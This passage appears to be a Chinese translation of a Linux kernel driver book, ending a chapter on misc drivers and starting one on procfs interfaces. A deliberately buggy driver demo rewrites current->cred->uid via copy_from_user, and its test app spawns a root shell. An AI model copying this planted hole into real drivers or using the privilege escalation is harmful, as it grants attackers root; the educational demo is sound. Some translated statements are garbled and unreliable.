这是因为内核确保copy_[from|to]_user()例程在尝试读取或写入非法地址时(理想情况下)会失败!在内部,进行了几项检查:access_ok()是一个简单的检查,只是确保 I/O 在预期段(用户或内核)中执行。现代 Linux 内核具有更好的检查;除了简单的access_ok()检查之外,内核还会通过(如果启用)KASAN内核地址消毒剂,一种编译器插装特性;KASAN 确实非常有用,在开发和测试过程中是必须的!),检查对象大小(包括溢出检查),然后才调用执行实际复制的工作例程,raw_copy_[from|to]_user()

好的,现在让我们继续讨论更有趣的情况,即有 bug 的写入,我们将(虽然以一种虚构的方式)安排成一次攻击!继续阅读...

坏驱动程序 - 有 bug 的写入 - 特权提升!

恶意黑客真正想要什么,他们的圣杯?当然是系统上的 root shell(得到 root 权限?)。通过在我们的驱动程序的写入方法中使用大量虚构的代码(因此这个黑客并不是一个真正好的黑客;它相当学术),让我们去获取它!为了做到这一点,我们修改用户模式应用程序以及设备驱动程序。让我们先看看用户模式应用程序的变化。

用户空间测试应用程序修改

我们稍微修改了用户空间应用程序 - 实际上是我们的进程上下文。这个用户模式测试应用程序的特定版本在一个方面与之前的版本不同:我们现在有一个名为HACKIT的宏。如果定义了它(默认情况下是定义的),这个进程将故意只向用户空间缓冲区写入零,并将其发送到我们的坏驱动程序的写入方法。如果驱动程序定义了DANGER_GETROOT_BUG宏(默认情况下是定义的),那么它将把零写入进程的 UID 成员,从而使用户模式进程获得 root 权限!

在传统的 Unix/Linux 范式中,如果真实用户 IDRUID)和/或有效用户 IDEUID)(它们在struct cred中的任务结构中)被设置为特殊值零(0),这意味着该进程具有超级用户(root)权限。如今,POSIX 权限模型被认为是一种更优越的处理权限的方式,因为它允许在线程上分配细粒度的权限 - capabilities,而不是像 root 一样给予进程或线程对系统的完全控制。

这是用户空间测试应用程序与之前版本的快速diff,让您看到对代码所做的更改(再次,我们将输出限制在最相关的部分):

// in ch1/bad_miscdrv
$ diff -u ../miscdrv/rdwr_test.c rdwr_test_hackit.c
[ ... ]
+#define HACKIT
[ ... ]
+#ifndef HACKIT
+     strncpy(buf, argv[3], num);
+#else
+     printf("%s: attempting to get root ...\n", argv[0]);
+     /*
+      * Write only 0's ... our 'bad' driver will write this into
+      * this process's current->cred->uid member, thus making us
+      * root !
+      */
+     memset(buf, 0, num);
 #endif
- } else { // test writing ..
          n = write(fd, buf, num);
[ ... ]
+     printf("%s: wrote %zd bytes to %s\n", argv[0], n, argv[2]);
+#ifdef HACKIT
+     if (getuid() == 0) {
+         printf(" !Pwned! uid==%d\n", getuid());
+         /* the hacker's holy grail: spawn a root shell */
+         execl("/bin/sh", "sh", (char *)NULL);
+     }
+#endif
[ ... ]

这意味着(所谓的)秘密从未被写入;没关系。现在,让我们看看对驱动程序所做的修改。

设备驱动程序修改

为了查看我们的坏misc驱动程序的写入方法如何改变,我们将继续查看相同的diff(我们的坏驱动程序与好驱动程序的对比),就像我们在坏驱动程序 - 有 bug 的读取部分所做的那样。以下代码中的注释是相当不言自明的。看一下:

// in ch1/bad_miscdrv
$ diff -u ../miscdrv_rdwr/miscdrv_rdwr.c bad_miscdrv.c
[...]           
         // << this is within the driver's write method >>
 static ssize_t write_miscdrv_rdwr(struct file *filp, const char __user *ubuf,
 size_t count, loff_t *off)
 {
        int ret = count;
        struct device *dev = ctx->dev;
+       void *new_dest = NULL;
[ ... ]
+#define DANGER_GETROOT_BUG
+//#undef DANGER_GETROOT_BUG
+#ifdef DANGER_GETROOT_BUG
+     /* Make the destination of the copy_from_user() point to the current
+      * process context's (real) UID; this way, we redirect the driver to
+      * write zero's here. Why? Simple: traditionally, a UID == 0 is what
+      * defines root capability!
+      */
+      new_dest = &current->cred->uid; +      count = 4; /* change count as we're only updating a 32-bit quantity */
+      pr_info(" [current->cred=%px]\n", (TYPECST)current->cred);
+#else
+      new_dest = kbuf;
+#endif

从前面的代码中的关键点是,当定义了DANGER_GETROOT_BUG宏(默认情况下是定义的)时,我们将new_dest指针设置为凭证结构中(实际的)UID 成员的地址,这个结构本身位于任务结构中(由current引用)的进程上下文中!(如果所有这些听起来都很陌生,请阅读配套指南Linux 内核编程,第六章内核内部要点-进程和线程)。这样,当我们调用copy_to_user()例程执行写入用户空间时,它实际上将零写入current->cred中的进程 UID 成员。零的 UID 是(传统上)定义为 root。另外,请注意我们将写入限制为 4 个字节(因为我们只写入 32 位数量)。

(顺便说一句,我们的“坏”驱动程序构建确实发出了警告;在这里,由于是故意的,我们只是忽略了它):

Linux-Kernel-Programming-Part-2/ch1/bad_miscdrv/bad_miscdrv.c:229:11: warning: assignment discards ‘const’ qualifier from pointer target type [-Wdiscarded-qualifiers]
 229 | new_dest = &current->cred->uid;
 |          ^

这里是copy_from_user()代码调用:

[...]
+       dev_info(dev, "dest addr = " ADDRFMT "\n", (TYPECST)new_dest);
        ret = -EFAULT;
-       if (copy_from_user(kbuf, ubuf, count)) {
+       if (copy_from_user(new_dest, ubuf, count)) {
                dev_warn(dev, "copy_from_user() failed\n");
                goto out_cfu;
        }
[...]

显然,前面的copy_to_user()例程将把用户提供的缓冲区ubuf写入到new_dest目标缓冲区中 - 关键是,我们已经指向了current->cred->uid - 用于count字节。

现在让我们获取 root 权限

当然,实践出真知,对吧?所以,让我们试一下我们的黑客技巧;在这里,我们假设您已经卸载了之前版本的“misc”驱动程序,并构建并加载了bad_miscdrv内核模块到内存中:

在下一章中,您将学习作为驱动程序作者的一个关键任务 - 如何有效地将设备驱动程序与用户空间进程进行接口;详细介绍了几种有用的方法,并进行了对比。

图 1.11 - 屏幕截图显示我们的 bad_miscdrv misc 驱动程序执行了一个“坏”写操作,导致了 root 权限提升!

看看吧;我们确实获得了 root 权限!我们的rdwr_test_hackit应用程序检测到我们确实拥有 root 权限(通过一个简单的getuid(2)系统调用),然后做了合乎逻辑的事情:它执行了一个 root shell(通过一个execl(3)API),然后,我们进入了一个 root shell。我们展示了内核日志:

$ dmesg 
[ 63.847549] bad_miscdrv:bad_miscdrv_init(): LLKD 'bad' misc driver (major # 10) registered, minor# = 56
[ 63.848452] misc bad_miscdrv: A sample print via the dev_dbg(): (bad) driver initialized
[ 84.186882] bad_miscdrv:open_miscdrv_rdwr(): 000) rdwr_test_hacki :2765 | ...0 /* open_miscdrv_rdwr() */
[ 84.190521] misc bad_miscdrv: opening "bad_miscdrv" now; wrt open file: f_flags = 0x8001
[ 84.191557] bad_miscdrv:write_miscdrv_rdwr(): 000) rdwr_test_hacki :2765 | ...0 /* write_miscdrv_rdwr() */
[ 84.192358] misc bad_miscdrv: rdwr_test_hacki wants to write 4 bytes to (original) ubuf = 0x55648b8f36b0
[ 84.192971] misc bad_miscdrv: [current->cred=ffff9f67765c3b40]
[ 84.193392] misc bad_miscdrv: dest addr = ffff9f67765c3b44 count=4
[ 84.193803] misc bad_miscdrv: 4 bytes written, returning... (stats: tx=0, rx=4)
[ 89.002675] bad_miscdrv:close_miscdrv_rdwr(): 000) [sh]:2765 | ...0 /* close_miscdrv_rdwr() */
[ 89.005992] misc bad_miscdrv: filename: "bad_miscdrv"
$ 

您可以看到它是如何工作的:原始用户模式缓冲区ubuf的内核虚拟地址为0x55648b8f36b0。在黑客中,我们将其修改为新的目标地址(内核虚拟地址)0xffff9f67765c3b44,这是(在本例中)struct cred的 UID 成员的内核虚拟地址(在进程的任务结构中)。不仅如此,我们的驱动程序还将要写入的字节数(count)修改为4(字节),因为我们正在更新一个 32 位的数量。

请注意:这些黑客只是黑客。它们肯定会导致您的系统变得不稳定(在我们的“调试”内核上运行时,KASAN 实际上检测到了空指针解引用!)。

这些演示证明了一个事实,即作为内核和/或驱动程序作者,您必须时刻警惕编程问题、安全性等。有了这个,我们完成了本节,实际上也完成了本章。

总结

这结束了本章关于在 Linux 操作系统上编写简单的misc类字符设备驱动程序的内容;所以,太棒了,您现在知道了在 Linux 上编写设备驱动程序的基础知识!

本章以设备基础知识的介绍开始,重要的是,现代 LDM 的简要要点。然后,您学习了如何编写一个简单的字符设备驱动程序,并在内核的misc框架中注册。在此过程中,您还了解了进程、驱动程序和内核 VFS 之间的连接。在用户和内核地址空间之间复制数据是必不可少的;我们看到了如何做到这一点。一个更全面的misc驱动程序演示(我们的“秘密”驱动程序)向您展示了如何执行 I/O - 读取和写入 - 在用户和内核空间之间传输数据。本章的关键部分是最后一节,您在其中学习了(至少开始了)有关安全性和驱动程序的知识;一个“黑客”甚至演示了privesc攻击!

如前所述,编写 Linux 驱动程序这一广泛主题还有很多内容;事实上,整整一本书都是关于这个的!请查看本章的进一步阅读部分,找到相关的书籍和在线参考资料。

确保您对本章的内容清楚,完成所给的练习,查阅进一步阅读资源,然后深入下一章。

问题

  1. 加载第一个miscdrv骨架misc驱动程序内核模块,并对其进行lseek(2)操作;会发生什么?(是否成功?lseek的返回值是什么?)如果没有,好的,您将如何解决这个问题?

  2. 编写一个misc类字符驱动程序,它的行为类似于一个简单的转换程序(假设其路径名为/dev/convert)。例如,将华氏温度写入,它应该返回(写入内核日志)摄氏温度。因此,执行echo 98.6 > /dev/convert应该导致内核日志中写入值37 C。另外,做以下操作:

  3. 验证传递给驱动程序的数据是否为数值。

  4. 如何处理浮点值?(提示:参考Linux 内核编程第五章编写您的第一个内核模块 LKM-第二部分中的内核中不允许浮点一节。)

  5. 编写一个“任务显示”驱动程序;在这里,我们希望用户空间进程将线程(或进程)PID 写入其中。当您从驱动程序的设备节点中读取(假设其路径名为/dev/task_display)时,您应该收到有关任务的详细信息(当然是从其任务结构中提取的)。例如,执行echo 1 > /dev/task_display,然后执行cat /dev/task_display应该使驱动程序将 PID 1 的任务详细信息发出到内核日志中。不要忘记添加有效性检查(检查 PID 是否有效等)。

  6. (稍微高级一点:)编写一个“正确的”基于 LDM 的驱动程序;这里介绍的misc驱动程序已经在内核的misc框架中注册,但是简单地、隐式地使用原始字符接口作为总线。LDM 更喜欢驱动程序必须在内核框架和总线驱动程序中注册。因此,编写一个“演示”驱动程序,它将自己注册到内核的misc框架和平台总线。这将涉及创建一个虚拟的平台设备。

请注意以下提示

a) 请参阅第二章,用户-内核通信路径,特别是创建一个简单的平台设备平台设备部分。

b) 可以在这里找到对该驱动程序的可能解决方案:solutions_to_assgn/ch12/misc_plat/

您会发现一些问题的答案在书的 GitHub 存储库中:github.com/PacktPublishing/Linux-Kernel-Programming-Part-2/tree/main/solutions_to_assgn

进一步阅读

第二章:用户-内核通信路径

考虑这种情况:你已经成功地为一个压力传感器设备开发了一个设备驱动程序(可能是通过使用内核的 I2C API 来通过 I2C 协议从芯片获取压力)。因此,你在驱动程序中有了当前的压力值,这当然意味着它在内核内存空间中。问题是,你现在如何让一个用户空间应用程序检索这个值呢?嗯,正如我们在上一章中学到的,你可以在驱动程序的 fops 结构中始终包含一个.read 方法。当用户空间应用程序发出 read(2)系统调用时,控制将通过虚拟文件系统(VFS)转移到你的驱动程序的 read 方法。在那里,你执行 copy_to_user()(或等效操作),使用户模式应用程序接收到该值。然而,还有其他一些更好的方法来做到这一点。

在本章中,你将了解可用的各种通信接口或路径,作为在用户和内核地址空间之间进行通信或接口的手段。这是编写驱动程序代码的一个重要方面,因为如果没有这些知识,你将如何能够实现一个关键的事情——在内核空间组件(通常是设备驱动程序,但实际上可以是任何东西)和用户空间进程或线程之间高效地传输信息?不仅如此,我们将学习的一些技术通常也用于调试(和/或诊断)目的。在本章中,我们将涵盖几种技术来实现内核和用户(虚拟)地址空间之间的通信:通过传统的 proc 文件系统 procfs 进行通信,通过 sys 文件系统 sysfs 进行驱动程序的更好方式,通过调试文件系统 debugfs 进行通信,通过 netlink 套接字进行通信,以及通过 ioctl(2)系统调用进行通信。

本章将涵盖以下主题:

  • 与用户空间 C 应用程序通信/接口的内核驱动程序的方法

  • 通过 proc 文件系统(procfs)进行接口

  • 通过 sys 文件系统 sysfs 进行接口

  • 通过调试文件系统 debugfs 进行接口

  • 通过 netlink 套接字进行接口

  • 通过 ioctl 系统调用进行接口

  • 比较接口方法-表格

让我们开始吧!

技术要求

我假设你已经阅读了前言,相关部分是“充分利用本书”,并已经适当地准备了一个运行 Ubuntu 18.04 LTS(或更高稳定版本)的虚拟机,并安装了所有必需的软件包。如果没有,我建议你首先这样做。

为了充分利用本书,我强烈建议你首先设置工作环境,包括克隆本书的 GitHub 存储库(github.com/PacktPublishing/Linux-Kernel-Programming-Part-2)以获取相关代码,并以实际操作的方式进行工作。

与用户空间 C 应用程序通信/接口的内核驱动程序的方法

正如我们在介绍中提到的,在本章中,我们希望学习如何在内核空间组件(通常是设备驱动程序,但实际上可以是任何东西)和用户空间进程或线程之间高效地传输信息。首先,让我们简单列举内核或驱动程序作者可用的各种技术,用于与用户空间 C 应用程序进行通信或接口。嗯,用户空间组件可以是 C 应用程序,shell 脚本(这两者我们通常在本书中展示),甚至其他应用程序,如 C++/Java 应用程序,Python/Perl 脚本等。

正如我们在伴随指南Linux 内核编程第四章编写您的第一个内核模块 - LKMs 第一部分中的库和系统调用 API子章节中所看到的,用户空间应用程序和内核之间的基本接口包括设备驱动程序的系统调用 API*。现在,在上一章中,您学习了为 Linux 编写字符设备驱动程序的基础知识。在其中,您还学习了如何通过让用户模式应用程序打开设备文件并发出read(2)write(2)系统调用来在用户和内核地址空间之间传输数据。这导致 VFS 调用驱动程序的读/写方法,并且您的驱动程序通过copy_{from|to}_user()API 执行数据传输。因此,这里的问题是:如果我们已经涵盖了这一点,那么在这方面还有什么其他要学习的呢?

啊,还有很多!事实上,还有其他几种用户模式应用程序和内核之间的接口技术。当然,它们都非常依赖于使用系统调用;毕竟,没有其他(同步的、程序化的)方式从用户空间进入内核!然而,这些技术是不同的。本章的目的是向您展示各种可用的通信接口,因为当然,根据项目的不同,可能有一种更适合使用。让我们来看看本章将用于用户和内核地址空间之间的接口的各种技术:

  • 通过传统的 procfs 接口

  • 通过 sysfs

  • 通过 debugfs

  • 通过 netlink 套接字进行接口

  • 通过ioctl(2)系统调用

在本章中,我们将通过提供驱动程序代码示例详细讨论这些接口技术。此外,我们还将简要探讨它们对调试目的的适用性。因此,让我们从使用 procfs 接口开始。

通过 proc 文件系统(procfs)进行接口

在本节中,我们将介绍 proc 文件系统是什么,以及您如何将其作为用户和内核地址空间之间的接口。proc 文件系统是一个强大且易于编程的接口,通常用于状态报告和调试核心内核系统。

请注意,从 Linux 2.6 版本开始,对于上游贡献,这个接口应该被驱动程序作者使用(它严格意味着仅用于内核内部使用)。尽管如此,为了完整起见,我们将在这里介绍它。

了解 proc 文件系统

Linux 有一个名为proc的虚拟文件系统;它的默认挂载点是/proc。关于 proc 文件系统的第一件事是要意识到,它的内容在非易失性磁盘上。它的内容在 RAM 中,因此是易失性的。您在/proc下看到的文件和目录都是内核代码为 proc 设置的伪文件;内核通过(几乎)总是显示文件的大小为零来暗示这一事实:

$ mount | grep -w proc
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
$ ls -l /proc/
total 0
dr-xr-xr-x  8 root  root          0 Jan 27 11:13 1/
dr-xr-xr-x  8 root  root          0 Jan 29 08:22 10/
dr-xr-xr-x  8 root  root          0 Jan 29 08:22 11/
dr-xr-xr-x  8 root  root          0 Jan 29 08:22 11550/
[...]
-r--r--r--  1 root  root          0 Jan 29 08:22 consoles
-r--r--r--  1 root  root          0 Jan 29 08:19 cpuinfo
-r--r--r--  1 root  root          0 Jan 29 08:22 crypto
-r--r--r--  1 root  root          0 Jan 29 08:20 devices
-r--r--r--  1 root  root          0 Jan 29 08:22 diskstats
[...]
-r--r--r--  1 root  root          0 Jan 29 08:22 vmstat
-r--r--r--  1 root  root          0 Jan 29 08:22 zoneinfo
$ 

让我们总结一下关于 Linux 强大的 proc 文件系统的一些关键点。

/proc 下的对象(文件、目录、软链接等)都是伪对象;它们存在于 RAM 中!

/proc 下的目录

/proc 下的目录的名称是整数值,代表当前在系统上运行的进程。目录的名称是进程的 PID(从技术上讲,它是进程的 TGID。我们在伴随指南Linux 内核编程第六章内核和内存管理内部要点中介绍了 TGID/PID)。

这个文件夹 - /proc/PID/ - 包含有关此进程的信息。因此,例如,对于initsystemd进程(始终是 PID 1),您可以在/proc/1/文件夹下查看有关此进程的详细信息(其属性、打开文件、内存布局、子进程等)。

例如,在这里,我们将获得 root shell 并执行ls /proc/1

图 2.1 - 在 x86_64 客户系统上执行 ls /proc/1 的屏幕截图

关于/proc/<PID>/...下的伪文件和文件夹的完整详细信息可以在proc(5)的手册页中找到(通过man 5 proc来查看);试一试并参考它!

请注意,/proc下的精确内容因内核版本和(CPU)架构而异;x86_64 架构往往具有最丰富的内容。

proc 文件系统的目的

proc 文件系统的目的是双重的:

  • 首先,它是一个简单的接口,供开发人员、系统管理员和任何人深入了解内核,以便他们可以获取有关进程、内核甚至硬件内部的信息。只需要使用这个接口,你就可以知道基本的 shell 命令,比如cdcatechols等等。

  • 其次,作为root用户,有时候是所有者,你可以写入/proc/sys下的某些伪文件,从而调整各种内核参数。这个功能被称为sysctl*。例如,你可以在/proc/sys/net/ipv4/中调整各种 IPv4 网络参数。它们都在这里有文档:www.kernel.org/doc/Documentation/networking/ip-sysctl.txt

更改基于 proc 的可调参数的值很容易;例如,让我们更改在任何给定时间点上允许的最大线程数。以root身份运行以下命令:

# cat /proc/sys/kernel/threads-max
15741
# echo 10000 > /proc/sys/kernel/threads-max
# cat /proc/sys/kernel/threads-max
10000
#

至此,我们完成了。然而,应该清楚的是,前面的操作是易失性的——更改只适用于本次会话;重新启动或重启将导致它恢复到默认值。那么,我们如何使更改永久生效呢?简短的答案是:使用sysctl(8)实用程序;参考其手册页以获取更多详细信息。

现在准备好编写一些 procfs 接口代码了吗?不要那么着急——下一节会告诉你为什么这可能并不是一个好主意。

procfs 对驱动程序作者是禁用的

尽管我们可以使用 proc 文件系统与用户模式应用程序进行接口,但这里有一个重要的要点要注意!你必须意识到 procfs 是内核中许多类似设施的应用程序二进制接口ABI)。内核社区并不保证它会保持稳定,就像内核API和它们的内部数据结构一样。事实上,自 2.6 内核以来,内核人员已经非常清楚地表明了这一点——设备驱动程序作者(等等)不应该使用 procfs来进行他们自己的目的或接口,调试或其他用途。在早期的 2.6 Linux 中,使用 proc 来进行上述目的是相当常见的(根据内核社区的说法,proc 是专为内核内部使用而滥用的!)。

因此,如果 procfs 被认为对于我们作为驱动程序作者来说是禁用的或不推荐使用的,那么我们用什么设施来与用户空间进程通信呢?驱动程序作者应该使用 sysfs 设施来导出他们的接口。实际上,不仅仅是 sysfs;你还有几种选择,比如 sysfs、debugfs、netlink 套接字和 ioctl 系统调用。我们将在本章后面详细介绍这些内容。

然而,现实情况是,关于驱动程序作者不使用 procfs 的这个“规则”是针对社区的。这意味着,如果你打算将你的驱动程序或内核模块上游到主线内核,从而在 GPLv2 许可下贡献你的代码,那么所有社区规则肯定适用。如果不是,那么你可以自行决定。当然,遵循内核社区的指南和规则只会是一件好事;我们强烈建议你这样做。在阻止非核心内容(如驱动程序)使用 proc 的方面,不幸的是,目前没有最新的内核文档可用于 proc API/ABI。

在 5.4.0 内核上,有大约 70 多个proc_create()内核 API 的调用者,其中有一些是(通常是较老的)驱动程序和文件系统。

尽管如此(您已经被警告!),让我们学习如何通过 procfs 与内核代码交互用户空间进程。

使用 procfs 与用户空间进行接口

作为内核模块或设备驱动程序开发人员,我们实际上可以在/proc下创建自己的条目,利用这作为与用户空间的简单接口。我们如何做到这一点?内核提供了 API 来在 procfs 下创建目录和文件。我们将在本节中学习如何使用它们。

基本的 procfs API

在这里,我们不打算深入研究 procfs API 集的细节;相反,我们将只涵盖足够让您能够理解和使用它们。要了解更深入的细节,请参考终极资源:内核代码库。我们将在这里介绍的例程已经被导出,因此可以供像您这样的驱动程序作者使用。此外,正如我们之前提到的,所有 procfs 文件对象实际上都是伪对象,也就是说它们只存在于 RAM 中。

在这里,我们假设您了解如何设计和实现一个简单的 LKM;您可以在本书的附属指南Linux Kernel Programming的第四和第五章中找到更多细节。

让我们开始探索一些简单的 procfs API,它们允许您执行一些关键任务-在 proc 文件系统下创建目录,创建(伪)文件,并分别删除它们。对于所有这些任务,请确保包含相关的头文件;也就是说,#include <linux/proc_fs.h>

  1. /proc下创建一个名为name的目录:
struct proc_dir_entry *proc_mkdir(const char *name,
                         struct proc_dir_entry *parent);

第一个参数是目录的名称,而第二个参数是要在其下创建它的父目录的指针。在这里传递NULL会在根目录下创建目录;也就是说,在/proc下。保存返回值,因为您通常会将其用作后续 API 的参数。

proc_mkdir_data()例程允许您传递一个数据项(void *);请注意,它是通过EXPORT_SYMBOL_GPL导出的。

  1. 创建一个名为/proc/parent/name的 procfs(伪)文件:
struct proc_dir_entry *proc_create(const char *name, umode_t mode,
                         struct proc_dir_entry *parent,
                         const struct file_operations *proc_fops);

这里的关键参数是struct file_operations,我们在上一章中介绍过。您需要用要实现的“方法”填充它(后面会更多介绍)。想想看:这真的是非常强大的东西;使用fops结构,您可以在驱动程序(或内核模块)中设置“回调”函数,内核的 proc 文件系统层将会遵守它们:当用户空间进程从您的 proc 文件中读取时,它(VFS)将调用驱动程序的.read方法或回调函数。如果用户空间应用程序写入,它将调用驱动程序的.write回调!

  1. 删除一个 procfs 条目:
void remove_proc_entry(const char *name, struct proc_dir_entry *parent)

此 API 删除指定的/proc/name条目并释放它(如果未被使用);类似地(通常更方便),使用remove_proc_subtree() API 来删除/proc中的整个子树(通常在清理或发生错误时)。

现在我们知道了基础知识,经验法则要求我们将这些 API 应用到实践中!为此,让我们找出在/proc下创建哪些目录/文件。

我们将创建四个 procfs 文件

为了清楚地说明 procfs 作为接口技术的用法,我们将让我们的内核模块在/proc下创建一个目录。在该目录下,它将创建四个 procfs(伪)文件。请注意,默认情况下,所有 procfs 文件的owner:group属性都是root:root。现在,创建一个名为/proc/proc_simple_intf的目录,并在其中创建四个(伪)文件。在/proc/proc_simple_intf目录下的四个 procfs(伪)文件的名称和属性如下表所示:

procfs 'file'的名称 R:读取回调上的操作,通过用户空间读取调用 W:写入回调上的操作,通过用户空间写入调用 Procfs 'file'权限
llkdproc_dbg_level 检索(到用户空间)全局变量的当前值;即 debug_level 更新 debug_level 全局变量为用户空间写入的值 0644
llkdproc_show_pgoff 检索(到用户空间)内核的 PAGE_OFFSET – 无写回调 – 0444
llkdproc_show_drvctx 检索(到用户空间)驱动程序“上下文”结构中的当前值;即 drv_ctx – 无写回调 – 0440
llkdproc_config1(也被视为 dbg_level 检索(到用户空间)上下文变量的当前值;即 drvctx->config1 更新驱动程序上下文成员 drvctx->config1 为用户空间写入的值 0644

我们将查看用于在 /proc 下创建 proc_simple_intf 目录和其中四个文件的 API 和实际代码(由于空间不足,我们实际上不会显示所有代码;只显示与“调试级别”获取和设置相关的代码;这不是问题,其余代码在概念上非常相似)。

尝试动态调试级别 procfs 控制

首先,让我们查看我们将在本章节中始终使用的“驱动程序上下文”数据结构(实际上,在上一章节中首次使用):

// ch2/procfs_simple_intf/procfs_simple_intf.c
[ ... ]
/* Borrowed from ch1; the 'driver context' data structure;
 * all relevant 'state info' reg the driver and (fictional) 'device'
 * is maintained here.
 */
struct drv_ctx {
    int tx, rx, err, myword, power;
    u32 config1; /* treated as equivalent to 'debug level' of our driver */
    u32 config2;
    u64 config3;
#define MAXBYTES   128
    char oursecret[MAXBYTES];
};
static struct drv_ctx *gdrvctx;
static int debug_level; /* 'off' (0) by default ... */

在这里,我们还可以看到我们有一个名为 debug_level 的全局整数;这将动态控制“项目”的调试详细程度。调试级别分配了一个范围 [0-2],我们有以下内容:

  • 0 意味着没有调试消息(默认值)。

  • 1中等调试详细程度。

  • 2 意味着高调试详细程度。

整个架构的美妙之处 – 实际上整个重点在于 – 我们将能够通过我们创建的 procfs 接口从用户空间查询和设置这个 debug_level 变量!这将允许最终用户(出于安全原因,需要 root 访问权限)在运行时动态地改变调试级别(这是许多产品中常见的功能)。

在深入了解代码级细节之前,让我们先试一下,这样我们就知道可以期待什么:

  1. 在这里,使用我们的 lkm 便捷包装脚本,我们必须构建并 insmod(8) 内核模块(本书源代码树中的 ch2/proc_simple_intf):
$ cd <booksrc>/ch2/proc_simple_intf
$ ../../lkm procfs_simple_intf          *<-- builds the kernel module*
Version info:
[...]
[24826.234323] procfs_simple_intf:procfs_simple_intf_init():321: proc dir (/proc/procfs_simple_intf) created
[24826.240592] procfs_simple_intf:procfs_simple_intf_init():333: proc file 1 (/proc/procfs_simple_intf/llkdproc_debug_level) created
[24826.245072] procfs_simple_intf:procfs_simple_intf_init():348: proc file 2 (/proc/procfs_simple_intf/llkdproc_show_pgoff) created
[24826.248628] procfs_simple_intf:alloc_init_drvctx():218: allocated and init the driver context structure
[24826.251784] procfs_simple_intf:procfs_simple_intf_init():368: proc file 3 (/proc/procfs_simple_intf/llkdproc_show_drvctx) created
[24826.255145] procfs_simple_intf:procfs_simple_intf_init():378: proc file 4 (/proc/procfs_simple_intf/llkdproc_config1) created
[24826.259203] procfs_simple_intf initialized
$ 

在这里,我们构建并插入了内核模块;dmesg(1) 显示了内核 printks,显示我们创建的 procfs 文件之一是与动态调试功能相关的文件(在这里用粗体突出显示;由于这些是伪文件,文件大小将显示为 0 字节)。

  1. 现在,让我们通过查询 debug_level 的当前值来测试它:
$ cat /proc/procfs_simple_intf/llkdproc_debug_level
debug_level:0
$
  1. 很好,它是零 – 默认值 – 如预期的那样。现在,让我们将调试级别更改为 2
$ sudo sh -c "echo 2 > /proc/procfs_simple_intf/llkdproc_debug_level"
$ cat /proc/procfs_simple_intf/llkdproc_debug_level
debug_level:2
$

请注意,我们必须以 root 身份发出 echo。正如我们所看到的,调试级别确实已经改变(为值 2)!尝试设置超出范围的值也被捕获(并且 debug_level 变量的值被重置为其最后有效的值),如下所示:

$ sudo sh -c "echo 5 > /proc/procfs_simple_intf/llkdproc_debug_level"
sh: echo: I/O error
$ dmesg
[...]
[ 6756.415727] procfs_simple_intf: trying to set invalid value for debug_level [allowed range: 0-2]; resetting to previous (2)

好的,它按预期工作。然而,问题是,所有这些在代码级别是如何工作的?继续阅读以了解详情!

通过 procfs 动态控制 debug_level

让我们回答前面提到的问题 – 代码中是如何做到的? 实际上非常简单:

  1. 首先,在内核模块的 init 代码中,我们必须创建我们的 procfs 目录,并以内核模块的名称命名它:
static struct proc_dir_entry *gprocdir;
[...]
gprocdir = proc_mkdir(OURMODNAME, NULL);
  1. 同样,在内核模块的 init 代码中,我们必须创建控制项目“调试级别”的 procfs 文件:
// ch2/procfs_simple_intf/procfs_simple_intf.c[...]
#define PROC_FILE1           "llkdproc_debug_level"
#define PROC_FILE1_PERMS     0644
[...]
static int __init procfs_simple_intf_init(void)
{
    int stat = 0;
    [...]
    /* 1\. Create the PROC_FILE1 proc entry under the parent dir OURMODNAME;
     * this will serve as the 'dynamically view/modify debug_level'
     * (pseudo) file */
    if (!proc_create(PROC_FILE1, PROC_FILE1_PERMS, gprocdir,
 &fops_rdwr_dbg_level)) {
    [...]
    pr_debug("proc file 1 (/proc/%s/%s) created\n", OURMODNAME, PROC_FILE1);
    [...]

在这里,我们使用了 proc_create() API 来创建 procfs 文件,并将其“链接”到提供的 file_operations 结构。

  1. fops 结构(技术上是struct file_operations)在这里是关键的数据结构。正如我们在第一章 编写简单的杂项字符设备驱动程序中学到的,这是我们为设备上的各种文件操作分配功能的地方,或者在这种情况下,procfs 文件。这是初始化我们的 fops 的代码:
static const struct file_operations fops_rdwr_dbg_level = {
    .owner = THIS_MODULE,
    .open = myproc_open_dbg_level,
    .read = seq_read,
    .write = myproc_write_debug_level,
    .llseek = seq_lseek,
    .release = single_release,
};
  1. fops 的open方法指向一个我们必须定义的函数:
static int myproc_open_dbg_level(struct inode *inode, struct file *file)
{
    return single_open(file, proc_show_debug_level, NULL);
}

使用内核的single_open() API,我们注册了这样一个事实,即每当这个文件被读取时-最终是通过用户空间的read(2)系统调用完成的- proc 文件系统将“回调”我们的proc_show_debug_level()例程(作为single_open()的第二个参数)。

我们不会在这里打扰single_open() API 的内部实现;如果你感兴趣,你可以在这里查找:fs/seq_file.c:single_open()

因此,总结一下,要在 procfs 中注册一个“读”方法,我们需要做以下工作:

  • fops.open指针初始化为foo()函数。

  • foo()函数中,调用single_open(),将读回调函数作为第二个参数。

这里有一些历史;不深入讨论,可以说 procfs 的旧工作方式存在问题。特别是,你无法在没有手动迭代内容的情况下传输超过一个页面的数据(使用读或写)。在 2.6.12 引入的序列迭代器功能解决了这些问题。如今,使用single_open()及其类似功能(seq_readseq_lseekseq_release内置内核函数)是使用 procfs 的更简单和正确的方法。

  1. 那么,当用户空间写入(通过write(2)系统调用)到一个 proc 文件时怎么办?简单:在前面的代码中,你可以看到我们已经注册了fops_rdwr_dbg_level.write方法作为myproc_write_debug_level()函数,这意味着每当写入这个(伪)文件时,这个函数将被回调(在步骤 6中解释了回调之后)。

我们通过single_open注册的回调函数的代码如下:

/* Our proc file 1: displays the current value of debug_level */
static int proc_show_debug_level(struct seq_file *seq, void *v)
{
    if (mutex_lock_interruptible(&mtx))
        return -ERESTARTSYS;
    seq_printf(seq, "debug_level:%d\n", debug_level);
    mutex_unlock(&mtx);
    return 0;
}

seq_printf()在概念上类似于熟悉的sprintf() API。它正确地将提供给它的数据打印到seq_file对象上。当我们在这里说“打印”时,我们真正的意思是它有效地将数据缓冲区传递给发出了读系统调用的用户空间进程或线程,从而将数据传输到用户空间

哦,是的,mutex_{un}lock*() API 是什么情况?它们用于一些关键的锁定。我们将在第六章 内核同步-第一部分和第七章 内核同步-第二部分中对锁定进行详细讨论;现在,只需理解这些是必需的同步原语。

  1. 我们通过fops_rdwr_dbg_level.write注册的回调函数如下:
#define DEBUG_LEVEL_MIN     0
#define DEBUG_LEVEL_MAX     2
[...]
/* proc file 1 : modify the driver's debug_level global variable as per what user space writes */
static ssize_t myproc_write_debug_level(struct file *filp, 
